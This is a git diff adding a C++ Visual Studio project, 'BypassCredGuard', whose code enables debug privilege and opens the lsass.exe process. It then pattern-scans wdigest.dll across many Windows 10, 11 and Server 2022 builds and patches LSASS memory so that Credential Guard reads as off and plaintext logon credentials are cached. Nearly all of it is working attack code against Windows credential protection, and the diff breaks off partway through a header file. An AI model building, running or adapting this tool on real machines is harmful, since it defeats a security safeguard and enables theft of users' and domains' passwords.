diff --git a/BypassCredGuard.sln b/BypassCredGuard.sln
new file mode 100644
index 0000000..c82030a
--- /dev/null
+++ b/BypassCredGuard.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.1.32414.318
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BypassCredGuard", "BypassCredGuard\BypassCredGuard.vcxproj", "{F1527C49-CA1F-4994-BB9D-E20DD2C607FD}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {F1527C49-CA1F-4994-BB9D-E20DD2C607FD}.Debug|x64.ActiveCfg = Debug|x64
+ {F1527C49-CA1F-4994-BB9D-E20DD2C607FD}.Debug|x64.Build.0 = Debug|x64
+ {F1527C49-CA1F-4994-BB9D-E20DD2C607FD}.Debug|x86.ActiveCfg = Debug|Win32
+ {F1527C49-CA1F-4994-BB9D-E20DD2C607FD}.Debug|x86.Build.0 = Debug|Win32
+ {F1527C49-CA1F-4994-BB9D-E20DD2C607FD}.Release|x64.ActiveCfg = Release|x64
+ {F1527C49-CA1F-4994-BB9D-E20DD2C607FD}.Release|x64.Build.0 = Release|x64
+ {F1527C49-CA1F-4994-BB9D-E20DD2C607FD}.Release|x86.ActiveCfg = Release|Win32
+ {F1527C49-CA1F-4994-BB9D-E20DD2C607FD}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {387C68AA-A5DC-430F-933F-DE5B0904BE6E}
+ EndGlobalSection
+EndGlobal
diff --git a/BypassCredGuard/BypassCredGuard.cpp b/BypassCredGuard/BypassCredGuard.cpp
new file mode 100644
index 0000000..5fee646
--- /dev/null
+++ b/BypassCredGuard/BypassCredGuard.cpp
@@ -0,0 +1,66 @@
+// PatchWdigestMemory.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
+//
+#include "stdafx.h"
+
+DWORD NT_MAJOR_VERSION, NT_MINOR_VERSION, NT_BUILD_NUMBER;
+
+BOOL PatchMemory()
+{
+ BOOL status = FALSE;
+ DWORD dwCurrent;
+ DWORD UseLogonCredential = 1;
+ DWORD IsCredGuardEnabled = 0;
+
+ status = AcquireLSA();
+ if (status)
+ {
+ if (ReadProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, &dwCurrent, sizeof(DWORD), NULL))
+ {
+ wprintf(L"[*] The current value of g_fParameter_UseLogonCredential is %d\n", dwCurrent);
+ if (WriteProcessMemory(cLsass.hProcess, g_fParameter_UseLogonCredential, (PVOID)&UseLogonCredential, sizeof(DWORD), NULL))
+ {
+ wprintf(L"[*] Patched value of g_fParameter_UseLogonCredential to 1\n");
+ status = TRUE;
+ }
+ else
+ wprintf(L"[-] Failed to WriteProcessMemory for g_fParameter_UseLogonCredential.\n");
+ }
+ else
+ wprintf(L"[-] Failed to ReadProcessMemory for g_fParameter_UseLogonCredential\n");
+
+
+ if (ReadProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, &dwCurrent, sizeof(DWORD), NULL))
+ {
+ wprintf(L"[*] The current value of g_IsCredGuardEnabled is %d\n", dwCurrent);
+ if (WriteProcessMemory(cLsass.hProcess, g_IsCredGuardEnabled, (PVOID)&IsCredGuardEnabled, sizeof(DWORD), NULL))
+ {
+ wprintf(L"[*] Patched value of g_IsCredGuardEnabled to 0\n");
+ status = TRUE;
+ }
+ else
+ wprintf(L"[-] Failed to WriteProcessMemory for g_IsCredGuardEnabled.\n");
+ }
+ else
+ wprintf(L"[-] Failed to ReadProcessMemory for g_IsCredGuardEnabled\n");
+ }
+ return status;
+}
+
+
+int wmain(int argc, wchar_t* argv[])
+{
+ HANDLE hToken = NULL;
+
+ RtlGetNtVersionNumbers(&NT_MAJOR_VERSION, &NT_MINOR_VERSION, &NT_BUILD_NUMBER);
+ // Open a process token and get a process token handle with TOKEN_ADJUST_PRIVILEGES permission
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
+ {
+ wprintf(L"[-] OpenProcessToken Error [%u].\n", GetLastError());
+ return -1;
+ }
+
+ if (EnableDebugPrivilege(hToken, SE_DEBUG_NAME))
+ {
+ PatchMemory();
+ }
+}
diff --git a/BypassCredGuard/BypassCredGuard.vcxproj b/BypassCredGuard/BypassCredGuard.vcxproj
new file mode 100644
index 0000000..e8b8b90
--- /dev/null
+++ b/BypassCredGuard/BypassCredGuard.vcxproj
@@ -0,0 +1,165 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {f1527c49-ca1f-4994-bb9d-e20dd2c607fd}
+ BypassCredGuard
+ 10.0
+
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+ MultiThreadedDebug
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/BypassCredGuard/BypassCredGuard.vcxproj.filters b/BypassCredGuard/BypassCredGuard.vcxproj.filters
new file mode 100644
index 0000000..37a9052
--- /dev/null
+++ b/BypassCredGuard/BypassCredGuard.vcxproj.filters
@@ -0,0 +1,68 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+ {ea052f72-1275-4055-ad0c-9701169db2b1}
+
+
+
+
+ 源文件
+
+
+ 源文件
+
+
+ 源文件
+
+
+ 源文件
+
+
+ 源文件
+
+
+ 源文件
+
+
+
+
+ 头文件
+
+
+ 头文件
+
+
+ 头文件
+
+
+ 头文件
+
+
+ 头文件
+
+
+ 头文件
+
+
+ 头文件
+
+
+
+
+ lib
+
+
+
\ No newline at end of file
diff --git a/BypassCredGuard/BypassCredGuard.vcxproj.user b/BypassCredGuard/BypassCredGuard.vcxproj.user
new file mode 100644
index 0000000..88a5509
--- /dev/null
+++ b/BypassCredGuard/BypassCredGuard.vcxproj.user
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/BypassCredGuard/lib/ntdll.min.lib b/BypassCredGuard/lib/ntdll.min.lib
new file mode 100644
index 0000000..626afbe
Binary files /dev/null and b/BypassCredGuard/lib/ntdll.min.lib differ
diff --git a/BypassCredGuard/lsa.cpp b/BypassCredGuard/lsa.cpp
new file mode 100644
index 0000000..9558fa7
--- /dev/null
+++ b/BypassCredGuard/lsa.cpp
@@ -0,0 +1,65 @@
+#include "stdafx.h"
+
+BYTE PTRN_WIN1607_SpAcceptCredentials[] = { 0x41, 0xb5, 0x01, 0x44, 0x88, 0x6d, 0x48, 0x85, 0xc0 };
+BYTE PTRN_WIN1909_SpAcceptCredentials[] = { 0x41, 0xb4, 0x01, 0x44, 0x88, 0xa4, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x85, 0xc0 };
+BYTE PTRN_WIN2022_SpAcceptCredentials[] = { 0x41, 0xb5, 0x01, 0x85, 0xc0 };
+PATCH_GENERIC g_References[] = {
+ {WIN_BUILD_10_1607, {sizeof(PTRN_WIN1607_SpAcceptCredentials), PTRN_WIN1607_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_10_1703, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_10_1709, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_10_1803, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_10_1809, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_10_1903, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_10_1909, {sizeof(PTRN_WIN1909_SpAcceptCredentials), PTRN_WIN1909_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_10_2004, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_10_20H2, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_10_21H2, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_MIN_BUILD_11, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+ {WIN_BUILD_2022, {sizeof(PTRN_WIN2022_SpAcceptCredentials), PTRN_WIN2022_SpAcceptCredentials}, {0, NULL}, {-16, -10}},
+};
+
+LSA_PACKAGE LsassPackage = { TRUE, L"wdigest.dll", {{NULL, 0, NULL}, FALSE, FALSE} };
+LSA_CONTEXT cLsass = { NULL, {0, 0, 0} };
+
+PWORD g_fParameter_UseLogonCredential;
+PWORD g_IsCredGuardEnabled;
+
+BOOL AcquireLSA()
+{
+ BOOL status = FALSE;
+ DWORD pid;
+
+ if (pid = GetProcessIdByName(L"lsass.exe"))
+ cLsass.hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
+ else
+ wprintf(L"[-] Lsass Process Not Found.");
+
+ cLsass.osContext.MajorVersion = NT_MAJOR_VERSION;
+ cLsass.osContext.MinorVersion = NT_MINOR_VERSION;
+ cLsass.osContext.BuildNumber = NT_BUILD_NUMBER & 0x00007fff;
+
+ if (GetVeryBasicModuleInformations(cLsass.hProcess) && LsassPackage.Module.isPresent)
+ {
+ wprintf(L"[*] Base address of wdigest.dll: 0x%016llx\n", LsassPackage.Module.Informations.DllBase.address);
+ if (LsaSearchGeneric(&cLsass, &LsassPackage.Module, g_References, ARRAYSIZE(g_References), (PVOID*)&g_fParameter_UseLogonCredential, (PVOID*)&g_IsCredGuardEnabled)
+ && LsassPackage.Module.isInit)
+ {
+ wprintf(L"[*] Address of g_fParameter_UseLogonCredential: 0x%016llx\n", g_fParameter_UseLogonCredential);
+ wprintf(L"[*] Address of g_IsCredGuardEnabled: 0x%016llx\n", g_IsCredGuardEnabled);
+ status = TRUE;
+ }
+ }
+ return status;
+}
+
+
+BOOL FindModules(PPROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation)
+{
+ if (_wcsicmp(LsassPackage.ModuleName, pModuleInformation->ModuleName->Buffer) == 0)
+ {
+ LsassPackage.Module.isPresent = TRUE;
+ LsassPackage.Module.Informations = *pModuleInformation;
+ }
+
+ return TRUE;
+}
\ No newline at end of file
diff --git a/BypassCredGuard/lsa.h b/BypassCredGuard/lsa.h
new file mode 100644
index 0000000..3d7c30f
--- /dev/null
+++ b/BypassCredGuard/lsa.h
@@ -0,0 +1,62 @@
+#pragma once
+#include "stdafx.h"
+
+
+#define LSA_CREDS_DISPLAY_RAW 0x00000000
+#define LSA_CREDS_DISPLAY_LINE 0x00000001
+#define LSA_CREDS_DISPLAY_NEWLINE 0x00000002
+
+#define LSA_CREDS_DISPLAY_CREDENTIAL 0x08000000
+#define LSA_CREDS_DISPLAY_PRIMARY 0x01000000
+#define LSA_CREDS_DISPLAY_CREDENTIALKEY 0x02000000
+#define LSA_CREDS_DISPLAY_CREDENTIAL_MASK 0x07000000
+
+#define LSA_CREDS_DISPLAY_KERBEROS_10 0x00100000
+#define LSA_CREDS_DISPLAY_KEY_LIST 0x00200000
+#define LSA_CREDS_DISPLAY_CREDMANPASS 0x00400000
+#define LSA_CREDS_DISPLAY_PINCODE 0x00800000
+#define LSA_CREDS_DISPLAY_KERBEROS_10_1607 0x00010000
+
+#define LSA_CREDS_DISPLAY_CLOUDAP_PRT 0x00001000
+
+#define LSA_CREDS_DISPLAY_NODECRYPT 0x10000000
+#define LSA_CREDS_DISPLAY_WPASSONLY 0x20000000
+#define LSA_CREDS_DISPLAY_DOMAIN 0x40000000
+#define LSA_CREDS_DISPLAY_SSP 0x80000000
+
+typedef struct _LSA_OS_CONTEXT {
+ DWORD MajorVersion;
+ DWORD MinorVersion;
+ DWORD BuildNumber;
+} LSA_OS_CONTEXT, * PLSA_OS_CONTEXT;
+
+typedef struct _LSA_CONTEXT {
+ HANDLE hProcess;
+ LSA_OS_CONTEXT osContext;
+} LSA_CONTEXT, * PLSA_CONTEXT;
+
+typedef struct _LSA_LIB {
+ PROCESS_VERY_BASIC_MODULE_INFORMATION Informations;
+ BOOL isPresent;
+ BOOL isInit;
+} LSA_LIB, * PLSA_LIB;
+
+typedef struct _LSA_PACKAGE {
+ BOOL isValid;
+ const wchar_t* ModuleName;
+ LSA_LIB Module;
+} LSA_PACKAGE, * PLSA_PACKAGE;
+
+typedef NTSTATUS(*PLSA_ACQUIRE_KEYS_FUNCS) (PLSA_CONTEXT cLsass, PPROCESS_VERY_BASIC_MODULE_INFORMATION lsassLsaSrvModule);
+typedef NTSTATUS(*PLSA_INIT) ();
+
+extern LSA_PACKAGE LsassPackage;
+
+extern LSA_CONTEXT cLsass;
+
+extern PWORD g_fParameter_UseLogonCredential;
+extern PWORD g_IsCredGuardEnabled;
+
+BOOL AcquireLSA();
+BOOL EnumerateLSA();
+BOOL FindModules(PPROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation);
\ No newline at end of file
diff --git a/BypassCredGuard/memory.cpp b/BypassCredGuard/memory.cpp
new file mode 100644
index 0000000..5be47dc
--- /dev/null
+++ b/BypassCredGuard/memory.cpp
@@ -0,0 +1,22 @@
+#include "stdafx.h"
+
+BOOL MemorySearch(HANDLE hProcess, LPBYTE Pattern, SIZE_T Length, PMEMORY_SEARCH Search)
+{
+ BOOL status = FALSE;
+ MEMORY_SEARCH sBuffer = { { NULL, Search->memoryRange.size}, NULL };
+ PBYTE CurrentPtr;
+ PBYTE limit;
+
+ if (sBuffer.memoryRange.memoryAdress.address = LocalAlloc(LPTR, Search->memoryRange.size))
+ {
+ if (ReadProcessMemory(hProcess, Search->memoryRange.memoryAdress.address, sBuffer.memoryRange.memoryAdress.address, Search->memoryRange.size, NULL))
+ {
+ limit = (PBYTE)sBuffer.memoryRange.memoryAdress.address + sBuffer.memoryRange.size;
+ for (CurrentPtr = (PBYTE)sBuffer.memoryRange.memoryAdress.address; !status && (CurrentPtr + Length <= limit); CurrentPtr++)
+ status = RtlEqualMemory(Pattern, CurrentPtr, Length);
+ CurrentPtr--;
+ Search->result = (PBYTE)Search->memoryRange.memoryAdress.address + ((PBYTE)CurrentPtr - (PBYTE)sBuffer.memoryRange.memoryAdress.address);
+ }
+ }
+ return status;
+}
\ No newline at end of file
diff --git a/BypassCredGuard/memory.h b/BypassCredGuard/memory.h
new file mode 100644
index 0000000..65feb18
--- /dev/null
+++ b/BypassCredGuard/memory.h
@@ -0,0 +1,19 @@
+#pragma once
+#include "stdafx.h"
+
+
+typedef struct _MEMORY_ADDRESS {
+ LPVOID address;
+} MEMORY_ADDRESS, * PMEMORY_ADDRESS;
+
+typedef struct _MEMORY_RANGE {
+ MEMORY_ADDRESS memoryAdress;
+ SIZE_T size;
+} MEMORY_RANGE, * PMEMORY_RANGE;
+
+typedef struct _MEMORY_SEARCH {
+ MEMORY_RANGE memoryRange;
+ LPVOID result;
+} MEMORY_SEARCH, * PMEMORY_SEARCH;
+
+BOOL MemorySearch(HANDLE hProcess, LPBYTE Pattern, SIZE_T Length, PMEMORY_SEARCH Search);
\ No newline at end of file
diff --git a/BypassCredGuard/patch.h b/BypassCredGuard/patch.h
new file mode 100644
index 0000000..62de3c2
--- /dev/null
+++ b/BypassCredGuard/patch.h
@@ -0,0 +1,57 @@
+#pragma once
+#include "stdafx.h"
+
+typedef struct _PATCH_PATTERN {
+ DWORD Length;
+ BYTE* Pattern;
+} PATCH_PATTERN, * PPATCH_PATTERN;
+
+typedef struct _PATCH_OFFSETS {
+ LONG off0;
+#if defined(_M_ARM64)
+ LONG armOff0;
+#endif
+ LONG off1;
+#if defined(_M_ARM64)
+ LONG armOff1;
+#endif
+ LONG off2;
+#if defined(_M_ARM64)
+ LONG armOff2;
+#endif
+ LONG off3;
+#if defined(_M_ARM64)
+ LONG armOff3;
+#endif
+ LONG off4;
+#if defined(_M_ARM64)
+ LONG armOff4;
+#endif
+ LONG off5;
+#if defined(_M_ARM64)
+ LONG armOff5;
+#endif
+ LONG off6;
+#if defined(_M_ARM64)
+ LONG armOff6;
+#endif
+ LONG off7;
+#if defined(_M_ARM64)
+ LONG armOff7;
+#endif
+ LONG off8;
+#if defined(_M_ARM64)
+ LONG armOff8;
+#endif
+ LONG off9;
+#if defined(_M_ARM64)
+ LONG armOff9;
+#endif
+} PATCH_OFFSETS, * PPATCH_OFFSETS;
+
+typedef struct _PATCH_GENERIC {
+ DWORD MinBuildNumber;
+ PATCH_PATTERN Search;
+ PATCH_PATTERN Patch;
+ PATCH_OFFSETS Offsets;
+} PATCH_GENERIC, * PPATCH_GENERIC;
\ No newline at end of file
diff --git a/BypassCredGuard/privilege.cpp b/BypassCredGuard/privilege.cpp
new file mode 100644
index 0000000..394d112
--- /dev/null
+++ b/BypassCredGuard/privilege.cpp
@@ -0,0 +1,32 @@
+#include "stdafx.h"
+
+BOOL EnableDebugPrivilege(HANDLE hToken, LPCWSTR lpName)
+{
+ BOOL status = FALSE;
+ LUID luidValue = { 0 };
+ TOKEN_PRIVILEGES tokenPrivileges;
+
+ // Get the LUID value of the SE_DEBUG_NAME (SeDebugPrivilege) privilege for the local system
+ if (!LookupPrivilegeValueW(NULL, lpName, &luidValue))
+ {
+ wprintf(L"[-] LookupPrivilegeValue Error [%u].\n", GetLastError());
+ return status;
+ }
+
+ // Set escalation information
+ tokenPrivileges.PrivilegeCount = 1;
+ tokenPrivileges.Privileges[0].Luid = luidValue;
+ tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+ // Elevate Process Token Access
+ if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL))
+ {
+ wprintf(L"[-] AdjustTokenPrivileges Error [%u].\n", GetLastError());
+ return status;
+ }
+ else
+ {
+ status = TRUE;
+ }
+ return status;
+}
\ No newline at end of file
diff --git a/BypassCredGuard/privilege.h b/BypassCredGuard/privilege.h
new file mode 100644
index 0000000..178d017
--- /dev/null
+++ b/BypassCredGuard/privilege.h
@@ -0,0 +1,4 @@
+#pragma once
+#include "stdafx.h"
+
+BOOL EnableDebugPrivilege(HANDLE hToken, LPCWSTR lpName);
\ No newline at end of file
diff --git a/BypassCredGuard/process.cpp b/BypassCredGuard/process.cpp
new file mode 100644
index 0000000..6ae3072
--- /dev/null
+++ b/BypassCredGuard/process.cpp
@@ -0,0 +1,103 @@
+#include "stdafx.h"
+
+
+DWORD GetProcessIdByName(LPCWSTR processName)
+{
+ // Create toolhelp snapshot.
+ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ PROCESSENTRY32 process;
+ ZeroMemory(&process, sizeof(process));
+ process.dwSize = sizeof(process);
+
+ // Walkthrough all processes.
+ if (Process32FirstW(hSnapshot, &process))
+ {
+ do
+ {
+ if (_wcsicmp(process.szExeFile, processName) == 0)
+ {
+ return process.th32ProcessID;
+ }
+ } while (Process32NextW(hSnapshot, &process));
+ }
+
+ CloseHandle(hSnapshot);
+ return 0;
+}
+
+
+BOOL GetVeryBasicModuleInformations(HANDLE hProcess)
+{
+ BOOL status = FALSE;
+ PEB Peb;
+ PEB_LDR_DATA LdrData;
+ LDR_DATA_TABLE_ENTRY LdrEntry;
+ PROCESS_VERY_BASIC_MODULE_INFORMATION moduleInformation;
+ UNICODE_STRING moduleName;
+ PBYTE pListEntryStart, pListEntryEnd;
+
+ moduleInformation.ModuleName = &moduleName;
+ if (GetProcessPeb(hProcess, &Peb))
+ {
+ if (ReadProcessMemory(hProcess, Peb.Ldr, &LdrData, sizeof(PEB_LDR_DATA), NULL))
+ {
+ for (
+ pListEntryStart = (PBYTE)LdrData.InLoadOrderModuleList.Flink,
+ pListEntryEnd = (PBYTE)Peb.Ldr + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModuleList);
+ pListEntryStart != pListEntryEnd;
+ pListEntryStart = (PBYTE)LdrEntry.InLoadOrderLinks.Flink
+ )
+ {
+ if (ReadProcessMemory(hProcess, pListEntryStart, &LdrEntry, sizeof(LDR_DATA_TABLE_ENTRY), NULL))
+ {
+ moduleInformation.DllBase.address = LdrEntry.DllBase;
+ moduleInformation.SizeOfImage = LdrEntry.SizeOfImage;
+ moduleName = LdrEntry.BaseDllName;
+
+ if (GetUnicodeString(&moduleName, cLsass.hProcess))
+ {
+ status = FindModules(&moduleInformation);
+ }
+ LocalFree(moduleName.Buffer);
+ }
+ }
+ }
+ }
+ return status;
+}
+
+
+BOOL GetProcessPeb(HANDLE hProcess, PPEB pPeb)
+{
+ BOOL status = FALSE;
+ PROCESS_BASIC_INFORMATION processInformations;
+ ULONG returnLength;
+
+ if (NT_SUCCESS(NtQueryInformationProcess(hProcess, ProcessBasicInformation, &processInformations, sizeof(processInformations), &returnLength))
+ && (returnLength == sizeof(processInformations))
+ && processInformations.PebBaseAddress)
+ {
+ status = ReadProcessMemory(hProcess, processInformations.PebBaseAddress, pPeb, sizeof(PEB), NULL);
+ }
+
+ return status;
+}
+
+
+BOOL GetUnicodeString(PUNICODE_STRING string, HANDLE hProcess)
+{
+ BOOL status = FALSE;
+ MEMORY_ADDRESS aDestin = { NULL };
+ MEMORY_ADDRESS aSource = { string->Buffer };
+
+ string->Buffer = NULL;
+ if (aSource.address && string->MaximumLength)
+ {
+ if (aDestin.address = LocalAlloc(LPTR, string->MaximumLength))
+ {
+ string->Buffer = (PWSTR)aDestin.address;
+ status = ReadProcessMemory(hProcess, aSource.address, aDestin.address, string->MaximumLength, NULL);
+ }
+ }
+ return status;
+}
\ No newline at end of file
diff --git a/BypassCredGuard/process.h b/BypassCredGuard/process.h
new file mode 100644
index 0000000..3878574
--- /dev/null
+++ b/BypassCredGuard/process.h
@@ -0,0 +1,150 @@
+#pragma once
+#include "stdafx.h"
+
+typedef struct _LDR_DATA_TABLE_ENTRY
+{
+ LIST_ENTRY InLoadOrderLinks;
+ LIST_ENTRY InMemoryOrderLinks;
+ LIST_ENTRY InInitializationOrderLinks;
+ PVOID DllBase;
+ PVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STRING FullDllName;
+ UNICODE_STRING BaseDllName;
+ ULONG Flags;
+ WORD LoadCount;
+ WORD TlsIndex;
+ union
+ {
+ LIST_ENTRY HashLinks;
+ struct
+ {
+ PVOID SectionPointer;
+ ULONG CheckSum;
+ };
+ };
+ union
+ {
+ ULONG TimeDateStamp;
+ PVOID LoadedImports;
+ };
+ _ACTIVATION_CONTEXT* EntryPointActivationContext;
+ PVOID PatchInformation;
+ LIST_ENTRY ForwarderLinks;
+ LIST_ENTRY ServiceTagLinks;
+ LIST_ENTRY StaticLinks;
+} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
+
+typedef struct _PEB_LDR_DATA {
+ ULONG Length;
+ BOOLEAN Initialized;
+ PVOID SsHandle;
+ LIST_ENTRY InLoadOrderModuleList;
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+} PEB_LDR_DATA, * PPEB_LDR_DATA;
+
+typedef struct _RTL_USER_PROCESS_PARAMETERS {
+ BYTE Reserved1[16];
+ PVOID Reserved2[10];
+ UNICODE_STRING ImagePathName;
+ UNICODE_STRING CommandLine;
+} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
+
+typedef struct _PEB {
+ BOOLEAN InheritedAddressSpace;
+ BOOLEAN ReadImageFileExecOptions;
+ BOOLEAN BeingDebugged;
+ struct BitField {
+ BYTE ImageUsesLargePages : 1;
+ BYTE SpareBits : 7;
+ };
+ HANDLE Mutant;
+ PVOID ImageBaseAddress;
+ PPEB_LDR_DATA Ldr;
+ PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
+ /// ...
+} PEB, * PPEB;
+
+typedef struct _PROCESS_VERY_BASIC_MODULE_INFORMATION {
+ MEMORY_ADDRESS DllBase;
+ ULONG SizeOfImage;
+ PUNICODE_STRING ModuleName;
+} PROCESS_VERY_BASIC_MODULE_INFORMATION, * PPROCESS_VERY_BASIC_MODULE_INFORMATION;
+
+
+typedef enum _PROCESSINFOCLASS {
+ ProcessBasicInformation,
+ ProcessQuotaLimits,
+ ProcessIoCounters,
+ ProcessVmCounters,
+ ProcessTimes,
+ ProcessBasePriority,
+ ProcessRaisePriority,
+ ProcessDebugPort,
+ ProcessExceptionPort,
+ ProcessAccessToken,
+ ProcessLdtInformation,
+ ProcessLdtSize,
+ ProcessDefaultHardErrorMode,
+ ProcessIoPortHandlers, // Note: this is kernel mode only
+ ProcessPooledUsageAndLimits,
+ ProcessWorkingSetWatch,
+ ProcessUserModeIOPL,
+ ProcessEnableAlignmentFaultFixup,
+ ProcessPriorityClass,
+ ProcessWx86Information,
+ ProcessHandleCount,
+ ProcessAffinityMask,
+ ProcessPriorityBoost,
+ ProcessDeviceMap,
+ ProcessSessionInformation,
+ ProcessForegroundInformation,
+ ProcessWow64Information,
+ ProcessImageFileName,
+ ProcessLUIDDeviceMapsEnabled,
+ ProcessBreakOnTermination,
+ ProcessDebugObjectHandle,
+ ProcessDebugFlags,
+ ProcessHandleTracing,
+ ProcessIoPriority,
+ ProcessExecuteFlags,
+ ProcessTlsInformation,
+ ProcessCookie,
+ ProcessImageInformation,
+ ProcessCycleTime,
+ ProcessPagePriority,
+ ProcessInstrumentationCallback,
+ ProcessThreadStackAllocation,
+ ProcessWorkingSetWatchEx,
+ ProcessImageFileNameWin32,
+ ProcessImageFileMapping,
+ ProcessAffinityUpdateMode,
+ ProcessMemoryAllocationMode,
+ ProcessGroupInformation,
+ ProcessTokenVirtualizationEnabled,
+ ProcessConsoleHostProcess,
+ ProcessWindowInformation,
+ MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum
+} PROCESSINFOCLASS;
+
+typedef LONG KPRIORITY;
+
+typedef struct _PROCESS_BASIC_INFORMATION {
+ NTSTATUS ExitStatus;
+ PPEB PebBaseAddress;
+ ULONG_PTR AffinityMask;
+ KPRIORITY BasePriority;
+ ULONG_PTR UniqueProcessId;
+ ULONG_PTR InheritedFromUniqueProcessId;
+} PROCESS_BASIC_INFORMATION, * PPROCESS_BASIC_INFORMATION;
+
+
+#ifdef __cplusplus
+extern "C" NTSTATUS WINAPI NtQueryInformationProcess(IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, OUT ULONG ProcessInformationLength, OUT OPTIONAL PULONG ReturnLength);
+#endif
+
+DWORD GetProcessIdByName(LPCWSTR processName);
+BOOL GetVeryBasicModuleInformations(HANDLE hProcess);
+BOOL GetProcessPeb(HANDLE hProcess, PPEB pPeb);
+BOOL GetUnicodeString(PUNICODE_STRING string, HANDLE hProcess);
\ No newline at end of file
diff --git a/BypassCredGuard/stdafx.h b/BypassCredGuard/stdafx.h
new file mode 100644
index 0000000..7d09511
--- /dev/null
+++ b/BypassCredGuard/stdafx.h
@@ -0,0 +1,67 @@
+#pragma once
+
+#define SECURITY_WIN32
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "privilege.h"
+#include "memory.h"
+#include "process.h"
+#include "lsa.h"
+#include "patch.h"
+#include "utils.h"
+
+#pragma comment(lib, "Ntdsapi.lib")
+#pragma comment(lib, "Secur32.lib")
+
